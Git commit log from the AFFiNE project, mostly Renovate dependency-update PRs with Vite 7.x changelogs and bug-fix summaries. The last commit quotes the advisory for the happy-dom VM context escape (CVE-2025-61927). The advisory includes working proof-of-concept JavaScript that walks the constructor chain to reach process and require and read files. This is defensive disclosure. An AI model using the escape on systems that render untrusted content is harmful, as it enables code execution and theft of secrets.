([#&#8203;20301](https://redirect.github.com/vitejs/vite/issues/20301))
([0fe3f2f](0fe3f2f7c3))
- export `defaultExternalConditions`
([#&#8203;20279](https://redirect.github.com/vitejs/vite/issues/20279))
([344d302](344d30243b))
- implement `removePluginHookSsrArgument` future deprecation
([#&#8203;20433](https://redirect.github.com/vitejs/vite/issues/20433))
([95927d9](95927d9c0b))
- implement `removeServerHot` future deprecation
([#&#8203;20434](https://redirect.github.com/vitejs/vite/issues/20434))
([259f45d](259f45d069))
- resolve server URLs before calling other listeners
([#&#8203;19981](https://redirect.github.com/vitejs/vite/issues/19981))
([45f6443](45f6443a93))
- **ssr:** resolve externalized packages with
`resolve.externalConditions` and add `module-sync` to default external
condition
([#&#8203;20409](https://redirect.github.com/vitejs/vite/issues/20409))
([c669c52](c669c524e6))
- **ssr:** support `import.meta.resolve` in module runner
([#&#8203;20260](https://redirect.github.com/vitejs/vite/issues/20260))
([62835f7](62835f7c06))

##### Bug Fixes

- **css:** avoid warnings for `image-set` containing `__VITE_ASSET__`
([#&#8203;20520](https://redirect.github.com/vitejs/vite/issues/20520))
([f1a2635](f1a2635e69))
- **css:** empty CSS entry points should generate CSS files, not JS
files
([#&#8203;20518](https://redirect.github.com/vitejs/vite/issues/20518))
([bac9f3e](bac9f3ecf8))
- **dev:** denied request stalled when requested concurrently
([#&#8203;20503](https://redirect.github.com/vitejs/vite/issues/20503))
([64a52e7](64a52e70d9))
- **manifest:** initialize `entryCssAssetFileNames` as an empty Set
([#&#8203;20542](https://redirect.github.com/vitejs/vite/issues/20542))
([6a46cda](6a46cdac5d))
- skip prepareOutDirPlugin in workers
([#&#8203;20556](https://redirect.github.com/vitejs/vite/issues/20556))
([97d5111](97d5111645))
- **asset:** only watch existing files for `new URL(, import.meta.url)`
([#&#8203;20507](https://redirect.github.com/vitejs/vite/issues/20507))
([1b211fd](1b211fd1be))
- **client:** keep ping on WS constructor error
([#&#8203;20512](https://redirect.github.com/vitejs/vite/issues/20512))
([3676da5](3676da5bc5))
- **deps:** update all non-major dependencies
([#&#8203;20537](https://redirect.github.com/vitejs/vite/issues/20537))
([fc9a9d3](fc9a9d3f14))
- don't resolve as relative for specifiers starting with a dot
([#&#8203;20528](https://redirect.github.com/vitejs/vite/issues/20528))
([c5a10ec](c5a10ec004))
- **html:** allow control character in input stream
([#&#8203;20483](https://redirect.github.com/vitejs/vite/issues/20483))
([c12a4a7](c12a4a76a2))
- merge old and new `noExternal: true` correctly
([#&#8203;20502](https://redirect.github.com/vitejs/vite/issues/20502))
([9ebe4a5](9ebe4a514a))
- **deps:** update all non-major dependencies
([#&#8203;20489](https://redirect.github.com/vitejs/vite/issues/20489))
([f6aa04a](f6aa04a52d))
- **dev:** denied requests overly
([#&#8203;20410](https://redirect.github.com/vitejs/vite/issues/20410))
([4be5270](4be5270b27))
- **hmr:** register css deps as `type: asset`
([#&#8203;20391](https://redirect.github.com/vitejs/vite/issues/20391))
([7eac8dd](7eac8ddb65))
- **optimizer:** discover correct jsx runtime during scan
([#&#8203;20495](https://redirect.github.com/vitejs/vite/issues/20495))
([10d48bb](10d48bb2e3))
- **preview:** set correct host for `resolvedUrls`
([#&#8203;20496](https://redirect.github.com/vitejs/vite/issues/20496))
([62b3e0d](62b3e0d95c))
- **worker:** resolve WebKit compat with inline workers by deferring
blob URL revocation
([#&#8203;20460](https://redirect.github.com/vitejs/vite/issues/20460))
([8033e5b](8033e5bf8d))

##### Performance Improvements

- **client:** reduce reload debounce
([#&#8203;20429](https://redirect.github.com/vitejs/vite/issues/20429))
([22ad43b](22ad43b4bf))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20536](https://redirect.github.com/vitejs/vite/issues/20536))
([8be2787](8be278748a))
- **deps:** update dependency parse5 to v8
([#&#8203;20490](https://redirect.github.com/vitejs/vite/issues/20490))
([744582d](744582d018))
- format
([f20addc](f20addc536))
- stablize `cssScopeTo`
([#&#8203;19592](https://redirect.github.com/vitejs/vite/issues/19592))
([ced1343](ced13433fb))

##### Code Refactoring

- use hook filters in the worker plugin
([#&#8203;20527](https://redirect.github.com/vitejs/vite/issues/20527))
([958cdf2](958cdf24f8))
- extract prepareOutDir as a plugin
([#&#8203;20373](https://redirect.github.com/vitejs/vite/issues/20373))
([2c4af1f](2c4af1f90b))
- extract resolve rollup options
([#&#8203;20375](https://redirect.github.com/vitejs/vite/issues/20375))
([61a9778](61a97780e6))
- rewrite openchrome.applescript to JXA
([#&#8203;20424](https://redirect.github.com/vitejs/vite/issues/20424))
([7979f9d](7979f9da55))
- use `http-proxy-3`
([#&#8203;20402](https://redirect.github.com/vitejs/vite/issues/20402))
([26d9872](26d987232a))
- use hook filters in internal plugins
([#&#8203;20358](https://redirect.github.com/vitejs/vite/issues/20358))
([f19c4d7](f19c4d72de))
- use hook filters in internal resolve plugin
([#&#8203;20480](https://redirect.github.com/vitejs/vite/issues/20480))
([acd2a13](acd2a13c2d))

##### Tests

- detect ts support via `process.features`
([#&#8203;20544](https://redirect.github.com/vitejs/vite/issues/20544))
([856d3f0](856d3f06e6))
- fix unimportant errors in test-unit
([#&#8203;20545](https://redirect.github.com/vitejs/vite/issues/20545))
([1f23554](1f235545b1))

##### Beta Changelogs

#####
[7.1.0-beta.1](https://redirect.github.com/vitejs/vite/compare/v7.1.0-beta.0...v7.1.0-beta.1)
(2025-08-05)

See [7.1.0-beta.1
changelog](https://redirect.github.com/vitejs/vite/blob/v7.1.0-beta.1/packages/vite/CHANGELOG.md)

#####
[7.1.0-beta.0](https://redirect.github.com/vitejs/vite/compare/v7.0.6...v7.1.0-beta.0)
(2025-07-30)

See [7.1.0-beta.0
changelog](https://redirect.github.com/vitejs/vite/blob/v7.1.0-beta.0/packages/vite/CHANGELOG.md)

###
[`v7.0.8`](https://redirect.github.com/vitejs/vite/releases/tag/v7.0.8)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.7...v7.0.8)

Please refer to
[CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v7.0.8/packages/vite/CHANGELOG.md)
for details.

###
[`v7.0.7`](https://redirect.github.com/vitejs/vite/releases/tag/v7.0.7)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.6...v7.0.7)

Please refer to
[CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v7.0.7/packages/vite/CHANGELOG.md)
for details.

###
[`v7.0.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#710-2025-08-07)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.5...v7.0.6)

##### Features

- support files with more than 1000 lines by `generateCodeFrame`
([#&#8203;20508](https://redirect.github.com/vitejs/vite/issues/20508))
([e7d0b2a](e7d0b2afa5))
- add `import.meta.main` support in config (bundle config loader)
([#&#8203;20516](https://redirect.github.com/vitejs/vite/issues/20516))
([5d3e3c2](5d3e3c2ae5))
- **optimizer:** improve dependency optimization error messages with
esbuild formatMessages
([#&#8203;20525](https://redirect.github.com/vitejs/vite/issues/20525))
([d17cfed](d17cfeda07))
- **ssr:** add `import.meta.main` support for Node.js module runner
([#&#8203;20517](https://redirect.github.com/vitejs/vite/issues/20517))
([794a8f2](794a8f2302))
- add `future: 'warn'`
([#&#8203;20473](https://redirect.github.com/vitejs/vite/issues/20473))
([e6aaf17](e6aaf17ca2))
- add `removeServerPluginContainer` future deprecation
([#&#8203;20437](https://redirect.github.com/vitejs/vite/issues/20437))
([c1279e7](c1279e7540))
- add `removeServerReloadModule` future deprecation
([#&#8203;20436](https://redirect.github.com/vitejs/vite/issues/20436))
([6970d17](6970d1740c))
- add `server.warmupRequest` to future deprecation
([#&#8203;20431](https://redirect.github.com/vitejs/vite/issues/20431))
([8ad388a](8ad388aeab))
- add `ssrFixStacktrace` / `ssrRewriteStacktrace` to
`removeSsrLoadModule` future deprecation
([#&#8203;20435](https://redirect.github.com/vitejs/vite/issues/20435))
([8c8f587](8c8f5879ea))
- **client:** ping from SharedWorker
([#&#8203;19057](https://redirect.github.com/vitejs/vite/issues/19057))
([5c97c22](5c97c22548))
- **dev:** add `this.fs` support
([#&#8203;20301](https://redirect.github.com/vitejs/vite/issues/20301))
([0fe3f2f](0fe3f2f7c3))
- export `defaultExternalConditions`
([#&#8203;20279](https://redirect.github.com/vitejs/vite/issues/20279))
([344d302](344d30243b))
- implement `removePluginHookSsrArgument` future deprecation
([#&#8203;20433](https://redirect.github.com/vitejs/vite/issues/20433))
([95927d9](95927d9c0b))
- implement `removeServerHot` future deprecation
([#&#8203;20434](https://redirect.github.com/vitejs/vite/issues/20434))
([259f45d](259f45d069))
- resolve server URLs before calling other listeners
([#&#8203;19981](https://redirect.github.com/vitejs/vite/issues/19981))
([45f6443](45f6443a93))
- **ssr:** resolve externalized packages with
`resolve.externalConditions` and add `module-sync` to default external
condition
([#&#8203;20409](https://redirect.github.com/vitejs/vite/issues/20409))
([c669c52](c669c524e6))
- **ssr:** support `import.meta.resolve` in module runner
([#&#8203;20260](https://redirect.github.com/vitejs/vite/issues/20260))
([62835f7](62835f7c06))

##### Bug Fixes

- **css:** avoid warnings for `image-set` containing `__VITE_ASSET__`
([#&#8203;20520](https://redirect.github.com/vitejs/vite/issues/20520))
([f1a2635](f1a2635e69))
- **css:** empty CSS entry points should generate CSS files, not JS
files
([#&#8203;20518](https://redirect.github.com/vitejs/vite/issues/20518))
([bac9f3e](bac9f3ecf8))
- **dev:** denied request stalled when requested concurrently
([#&#8203;20503](https://redirect.github.com/vitejs/vite/issues/20503))
([64a52e7](64a52e70d9))
- **manifest:** initialize `entryCssAssetFileNames` as an empty Set
([#&#8203;20542](https://redirect.github.com/vitejs/vite/issues/20542))
([6a46cda](6a46cdac5d))
- skip prepareOutDirPlugin in workers
([#&#8203;20556](https://redirect.github.com/vitejs/vite/issues/20556))
([97d5111](97d5111645))
- **asset:** only watch existing files for `new URL(, import.meta.url)`
([#&#8203;20507](https://redirect.github.com/vitejs/vite/issues/20507))
([1b211fd](1b211fd1be))
- **client:** keep ping on WS constructor error
([#&#8203;20512](https://redirect.github.com/vitejs/vite/issues/20512))
([3676da5](3676da5bc5))
- **deps:** update all non-major dependencies
([#&#8203;20537](https://redirect.github.com/vitejs/vite/issues/20537))
([fc9a9d3](fc9a9d3f14))
- don't resolve as relative for specifiers starting with a dot
([#&#8203;20528](https://redirect.github.com/vitejs/vite/issues/20528))
([c5a10ec](c5a10ec004))
- **html:** allow control character in input stream
([#&#8203;20483](https://redirect.github.com/vitejs/vite/issues/20483))
([c12a4a7](c12a4a76a2))
- merge old and new `noExternal: true` correctly
([#&#8203;20502](https://redirect.github.com/vitejs/vite/issues/20502))
([9ebe4a5](9ebe4a514a))
- **deps:** update all non-major dependencies
([#&#8203;20489](https://redirect.github.com/vitejs/vite/issues/20489))
([f6aa04a](f6aa04a52d))
- **dev:** denied requests overly
([#&#8203;20410](https://redirect.github.com/vitejs/vite/issues/20410))
([4be5270](4be5270b27))
- **hmr:** register css deps as `type: asset`
([#&#8203;20391](https://redirect.github.com/vitejs/vite/issues/20391))
([7eac8dd](7eac8ddb65))
- **optimizer:** discover correct jsx runtime during scan
([#&#8203;20495](https://redirect.github.com/vitejs/vite/issues/20495))
([10d48bb](10d48bb2e3))
- **preview:** set correct host for `resolvedUrls`
([#&#8203;20496](https://redirect.github.com/vitejs/vite/issues/20496))
([62b3e0d](62b3e0d95c))
- **worker:** resolve WebKit compat with inline workers by deferring
blob URL revocation
([#&#8203;20460](https://redirect.github.com/vitejs/vite/issues/20460))
([8033e5b](8033e5bf8d))

##### Performance Improvements

- **client:** reduce reload debounce
([#&#8203;20429](https://redirect.github.com/vitejs/vite/issues/20429))
([22ad43b](22ad43b4bf))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20536](https://redirect.github.com/vitejs/vite/issues/20536))
([8be2787](8be278748a))
- **deps:** update dependency parse5 to v8
([#&#8203;20490](https://redirect.github.com/vitejs/vite/issues/20490))
([744582d](744582d018))
- format
([f20addc](f20addc536))
- stablize `cssScopeTo`
([#&#8203;19592](https://redirect.github.com/vitejs/vite/issues/19592))
([ced1343](ced13433fb))

##### Code Refactoring

- use hook filters in the worker plugin
([#&#8203;20527](https://redirect.github.com/vitejs/vite/issues/20527))
([958cdf2](958cdf24f8))
- extract prepareOutDir as a plugin
([#&#8203;20373](https://redirect.github.com/vitejs/vite/issues/20373))
([2c4af1f](2c4af1f90b))
- extract resolve rollup options
([#&#8203;20375](https://redirect.github.com/vitejs/vite/issues/20375))
([61a9778](61a97780e6))
- rewrite openchrome.applescript to JXA
([#&#8203;20424](https://redirect.github.com/vitejs/vite/issues/20424))
([7979f9d](7979f9da55))
- use `http-proxy-3`
([#&#8203;20402](https://redirect.github.com/vitejs/vite/issues/20402))
([26d9872](26d987232a))
- use hook filters in internal plugins
([#&#8203;20358](https://redirect.github.com/vitejs/vite/issues/20358))
([f19c4d7](f19c4d72de))
- use hook filters in internal resolve plugin
([#&#8203;20480](https://redirect.github.com/vitejs/vite/issues/20480))
([acd2a13](acd2a13c2d))

##### Tests

- detect ts support via `process.features`
([#&#8203;20544](https://redirect.github.com/vitejs/vite/issues/20544))
([856d3f0](856d3f06e6))
- fix unimportant errors in test-unit
([#&#8203;20545](https://redirect.github.com/vitejs/vite/issues/20545))
([1f23554](1f235545b1))

##### Beta Changelogs

#####
[7.1.0-beta.1](https://redirect.github.com/vitejs/vite/compare/v7.1.0-beta.0...v7.1.0-beta.1)
(2025-08-05)

See [7.1.0-beta.1
changelog](https://redirect.github.com/vitejs/vite/blob/v7.1.0-beta.1/packages/vite/CHANGELOG.md)

#####
[7.1.0-beta.0](https://redirect.github.com/vitejs/vite/compare/v7.0.6...v7.1.0-beta.0)
(2025-07-30)

See [7.1.0-beta.0
changelog](https://redirect.github.com/vitejs/vite/blob/v7.1.0-beta.0/packages/vite/CHANGELOG.md)

###
[`v7.0.5`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-705-2025-07-17-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.4...v7.0.5)

##### Bug Fixes

- **deps:** update all non-major dependencies
([#&#8203;20406](https://redirect.github.com/vitejs/vite/issues/20406))
([1a1cc8a](1a1cc8a435))
- remove special handling for `Accept: text/html`
([#&#8203;20376](https://redirect.github.com/vitejs/vite/issues/20376))
([c9614b9](c9614b9c37))
- watch assets referenced by `new URL(, import.meta.url)`
([#&#8203;20382](https://redirect.github.com/vitejs/vite/issues/20382))
([6bc8bf6](6bc8bf634d))

##### Miscellaneous Chores

- **deps:** update dependency rolldown to ^1.0.0-beta.27
([#&#8203;20405](https://redirect.github.com/vitejs/vite/issues/20405))
([1165667](1165667b27))

##### Code Refactoring

- use `foo.endsWith("bar")` instead of `/bar$/.test(foo)`
([#&#8203;20413](https://redirect.github.com/vitejs/vite/issues/20413))
([862e192](862e192d21))

###
[`v7.0.4`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-704-2025-07-10-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.3...v7.0.4)

##### Bug Fixes

- allow resolving bare specifiers to relative paths for entries
([#&#8203;20379](https://redirect.github.com/vitejs/vite/issues/20379))
([324669c](324669c2d8))

##### Build System

- remove `@oxc-project/runtime` devDep
([#&#8203;20389](https://redirect.github.com/vitejs/vite/issues/20389))
([5e29602](5e29602f6f))

###
[`v7.0.3`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-703-2025-07-08-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.2...v7.0.3)

##### Bug Fixes

- **client:** protect against window being defined but addEv undefined
([#&#8203;20359](https://redirect.github.com/vitejs/vite/issues/20359))
([31d1467](31d1467cf0))
- **define:** replace optional values
([#&#8203;20338](https://redirect.github.com/vitejs/vite/issues/20338))
([9465ae1](9465ae1378))
- **deps:** update all non-major dependencies
([#&#8203;20366](https://redirect.github.com/vitejs/vite/issues/20366))
([43ac73d](43ac73da27))

##### Miscellaneous Chores

- **deps:** update dependency dotenv to v17
([#&#8203;20325](https://redirect.github.com/vitejs/vite/issues/20325))
([45040d4](45040d4807))
- **deps:** update dependency rolldown to ^1.0.0-beta.24
([#&#8203;20365](https://redirect.github.com/vitejs/vite/issues/20365))
([5ab25e7](5ab25e73a2))
- use `n/prefer-node-protocol` rule
([#&#8203;20368](https://redirect.github.com/vitejs/vite/issues/20368))
([38bb268](38bb268cde))

##### Code Refactoring

- minor changes to reduce diff between normal Vite and rolldown-vite
([#&#8203;20354](https://redirect.github.com/vitejs/vite/issues/20354))
([2e8050e](2e8050e4cd))

###
[`v7.0.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-702-2025-07-04-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.1...v7.0.2)

##### Bug Fixes

- **css:** resolve relative paths in sass, revert
[#&#8203;20300](https://redirect.github.com/vitejs/vite/issues/20300)
([#&#8203;20349](https://redirect.github.com/vitejs/vite/issues/20349))
([db8bd41](db8bd412a8))

###
[`v7.0.1`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-701-2025-07-03-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.0...v7.0.1)

##### Bug Fixes

- **css:** skip resolving resolved paths in sass
([#&#8203;20300](https://redirect.github.com/vitejs/vite/issues/20300))
([ac528a4](ac528a44c3))
- **deps:** update all non-major dependencies
([#&#8203;20324](https://redirect.github.com/vitejs/vite/issues/20324))
([3e81af3](3e81af38a8))
- **types:** add a global interface for Worker
([#&#8203;20243](https://redirect.github.com/vitejs/vite/issues/20243))
([37bdfc1](37bdfc18f4))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20323](https://redirect.github.com/vitejs/vite/issues/20323))
([30d2f1b](30d2f1b38c))
- fix typos and grammatical errors across documentation and comments
([#&#8203;20337](https://redirect.github.com/vitejs/vite/issues/20337))
([c1c951d](c1c951dcc3))
- group commits by category in changelog
([#&#8203;20310](https://redirect.github.com/vitejs/vite/issues/20310))
([41e83f6](41e83f62b1))
- rearrange 7.0 changelog
([#&#8203;20280](https://redirect.github.com/vitejs/vite/issues/20280))
([eafd28a](eafd28ac88))

###
[`v7.0.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#700-2025-06-24)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v6.4.1...v7.0.0)

![Vite 7 is out!](../../docs/public/og-image-announcing-vite7.png)

Today, we're excited to announce the release of the next Vite major:

- **[Vite 7.0 announcement blog
post](https://vite.dev/blog/announcing-vite7.html)**
- [Docs](https://vite.dev/) (translations: [简体中文](https://cn.vite.dev/),
[日本語](https://ja.vite.dev/), [Español](https://es.vite.dev/),
[Português](https://pt.vite.dev/), [한국어](https://ko.vite.dev/),
[Deutsch](https://de.vite.dev/), [فارسی](https://fa.vite.dev/))
- [Migration Guide](https://vite.dev/guide/migration.html)

##### ⚠ BREAKING CHANGES

- **ssr:** don't access `Object` variable in ssr transformed code
([#&#8203;19996](https://redirect.github.com/vitejs/vite/issues/19996))
- remove `experimental.skipSsrTransform` option
([#&#8203;20038](https://redirect.github.com/vitejs/vite/issues/20038))
- remove `HotBroadcaster`
([#&#8203;19988](https://redirect.github.com/vitejs/vite/issues/19988))
- **css:** always use sass compiler API
([#&#8203;19978](https://redirect.github.com/vitejs/vite/issues/19978))
- bump `build.target` and name it `baseline-widely-available`
([#&#8203;20007](https://redirect.github.com/vitejs/vite/issues/20007))
- bump required node version to 20.19+, 22.12+ and remove cjs build
([#&#8203;20032](https://redirect.github.com/vitejs/vite/issues/20032))
- **css:** remove sass legacy API support
([#&#8203;19977](https://redirect.github.com/vitejs/vite/issues/19977))
- remove deprecated `HotBroadcaster` related types
([#&#8203;19987](https://redirect.github.com/vitejs/vite/issues/19987))
- remove deprecated no-op type only properties
([#&#8203;19985](https://redirect.github.com/vitejs/vite/issues/19985))
- remove node 18 support
([#&#8203;19972](https://redirect.github.com/vitejs/vite/issues/19972))
- remove deprecated hook-level `enforce`/`transform` from
`transformIndexHtml` hook
([#&#8203;19349](https://redirect.github.com/vitejs/vite/issues/19349))
- remove deprecated splitVendorChunkPlugin
([#&#8203;19255](https://redirect.github.com/vitejs/vite/issues/19255))

##### Features

- **types:** use terser types from terser package
([#&#8203;20274](https://redirect.github.com/vitejs/vite/issues/20274))
([a5799fa](a5799fa74c))
- apply some middlewares before `configurePreviewServer` hook
([#&#8203;20224](https://redirect.github.com/vitejs/vite/issues/20224))
([b989c42](b989c42cf8))
- apply some middlewares before `configureServer` hook
([#&#8203;20222](https://redirect.github.com/vitejs/vite/issues/20222))
([f5cc4c0](f5cc4c0ded))
- add base option to import.meta.glob
([#&#8203;20163](https://redirect.github.com/vitejs/vite/issues/20163))
([253d6c6](253d6c6df2))
- add `this.meta.viteVersion`
([#&#8203;20088](https://redirect.github.com/vitejs/vite/issues/20088))
([f55bf41](f55bf41e91))
- allow passing down resolved config to vite's `createServer`
([#&#8203;19894](https://redirect.github.com/vitejs/vite/issues/19894))
([c1ae9bd](c1ae9bd4a0))
- buildApp hook
([#&#8203;19971](https://redirect.github.com/vitejs/vite/issues/19971))
([5da659d](5da659de90))
- **build:** provide names for asset entrypoints
([#&#8203;19912](https://redirect.github.com/vitejs/vite/issues/19912))
([c4e01dc](c4e01dc5ab))
- bump `build.target` and name it `baseline-widely-available`
([#&#8203;20007](https://redirect.github.com/vitejs/vite/issues/20007))
([4a8aa82](4a8aa82556))
- **client:** support opening fileURL in editor
([#&#8203;20040](https://redirect.github.com/vitejs/vite/issues/20040))
([1bde4d2](1bde4d2524))
- make PluginContext available for Vite-specific hooks
([#&#8203;19936](https://redirect.github.com/vitejs/vite/issues/19936))
([7063839](7063839d47))
- resolve environments plugins at config time
([#&#8203;20120](https://redirect.github.com/vitejs/vite/issues/20120))
([f6a28d5](f6a28d5f79))
- stabilize `css.preprocessorMaxWorkers` and default to `true`
([#&#8203;19992](https://redirect.github.com/vitejs/vite/issues/19992))
([70aee13](70aee139ea))
- stabilize `optimizeDeps.noDiscovery`
([#&#8203;19984](https://redirect.github.com/vitejs/vite/issues/19984))
([6d2dcb4](6d2dcb494d))

##### Bug Fixes

- **deps:** update all non-major dependencies
([#&#8203;20271](https://redirect.github.com/vitejs/vite/issues/20271))
([6b64d63](https://redirect.github.com/vitejs/vite/commit/6b64d63d700154de2c00270

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNDMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE0My4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-21 16:12:43 +00:00
DarkSky
01c164a78a fix(server): rcat event parse (#13781) 2025-10-20 17:20:41 +08:00
L-Sun
5c0e3b8a7f fix(editor): missing signal of optional flat props (#13762)
Close https://github.com/toeverything/AFFiNE/issues/13750

#### PR Dependency Tree


* **PR #13762** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Optional block properties are now supported (e.g., flat-table), with
default values applied automatically when not set.

* **Bug Fixes**
* More reliable initialization and syncing of block properties, ensuring
defaults appear consistently.
* Change notifications now correctly reflect updates to
optional/defaulted properties.

* **Tests**
* Added tests verifying optional property behavior, default application,
syncing, and change events.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->





#### PR Dependency Tree


* **PR #13762** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
2025-10-16 04:38:47 +00:00
L-Sun
e4f9d42990 fix(core): can not scroll all page list in MacOS 26 (#13763)
Close https://github.com/toeverything/AFFiNE/issues/13754

#### PR Dependency Tree


* **PR #13763** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Updated page layout sizing to no longer force full-height on the docs
body, allowing height to adapt to content.
* Improves natural scrolling and reduces layout constraints in the
workspace “All” page.
* Enhances responsiveness across varying screen sizes by relying on
content and container sizing rules.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-16 04:07:29 +00:00
L-Sun
59d8d0fbae fix(editor): text align not work (#13740)
#### PR Dependency Tree


* **PR #13740** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved reliability of updating block alignment when the current
selection isn’t explicitly defined. The editor now retrieves the
selection more consistently, reducing cases where alignment controls
appeared unresponsive or had no effect.
* Covers scenarios during initialization or edge cases where selection
was previously missed, resulting in smoother editing and fewer false
negatives when applying alignment.
* No changes to visible UI or shortcuts; behavior is simply more
consistent.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-14 03:10:38 +00:00
renovate[bot]
50f41c2212 chore: bump up happy-dom version to v20 [SECURITY] (#13726)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) |
[`^18.0.0` ->
`^20.0.0`](https://renovatebot.com/diffs/npm/happy-dom/18.0.1/20.0.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/18.0.1/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-61927](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-37j7-fg3j-429f)

# Escape of VM Context gives access to process level functionality

## Summary
Happy DOM v19 and lower contains a security vulnerability that puts the
owner system at the risk of RCE (Remote Code Execution) attacks.

A Node.js VM Context is not an isolated environment, and if the user
runs untrusted JavaScript code within the Happy DOM VM Context, it may
escape the VM and get access to process level functionality.

What the attacker can get control over depends on if the process is
using ESM or CommonJS. With CommonJS the attacker can get hold of the
`require()` function to import modules.

Happy DOM has JavaScript evaluation enabled by default. This may not be
obvious to the consumer of Happy DOM and can potentially put the user at
risk if untrusted code is executed within the environment.

## Reproduce

### CommonJS (Possible to get hold of require)

```javascript
const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
     const require = process.mainModule.require;
  
     console.log('Files:', require('fs').readdirSync('.').slice(0,3));
  </script>
`);
```

### ESM (Not possible to get hold of import or require)

```javascript
const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
  
     console.log('PID:', process.pid);
  </script>
`);
```

## Potential Impact

#### Server-Side Rendering (SSR)
```javascript
const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;
```

#### Testing Frameworks
Any test suite using Happy-DOM with untrusted content may be at risk.

## Attack Scenarios

1. **Data Exfiltration**: Access to environment variables, configuration
files, secrets
2. **Lateral Movement**: Network access for connecting to internal
systems. Happy DOM already gives access to the network by fetch, but has
protections in place (such as CORS and header validation etc.).
3. **Code Execution**: Child process access for running arbitrary
commands
4. **Persistence**: File system access

## Recommended Immediate Actions

1. Update Happy DOM to v20 or above
    - This version has JavaScript evaluation disabled by default
- This version will output a warning if JavaScript is enabled in an
insecure environment
2. Run Node.js with the "--disallow-code-generation-from-strings" if you
need JavaScript evaluation enabled
- This makes sure that evaluation can't be used at process level to
escape the VM
- `eval()` and `Function()` can still be used within the Happy DOM VM
without any known security risk
- Happy DOM v20 and above will output a warning if this flag is not in
use
4. If you can't update Happy DOM right now, it's recommended to disable
JavaScript evaluation, unless you completely trust the content within
the environment

## Technical Root Cause

All classes and functions inherit from
[Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function).
By walking the constructor chain it's possible to get hold of
[Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function)
at process level. As
[Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function)
can evaluate code from strings, it's possible to execute code at process
level.

Running Node with the "--disallow-code-generation-from-strings" flag
protects against this.

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

###
[`v20.0.0`](https://redirect.github.com/capricorn86/happy-dom/compare/v19.0.2...819d15ba289495439eda8be360d92a614ce22405)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v19.0.2...v20.0.0)

###
[`v19.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v19.0.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v19.0.1...v19.0.2)

##### :construction\_worker\_man: Patch fixes

- Fixes issue related to CSS pseudo selector `:scope` that didn't work
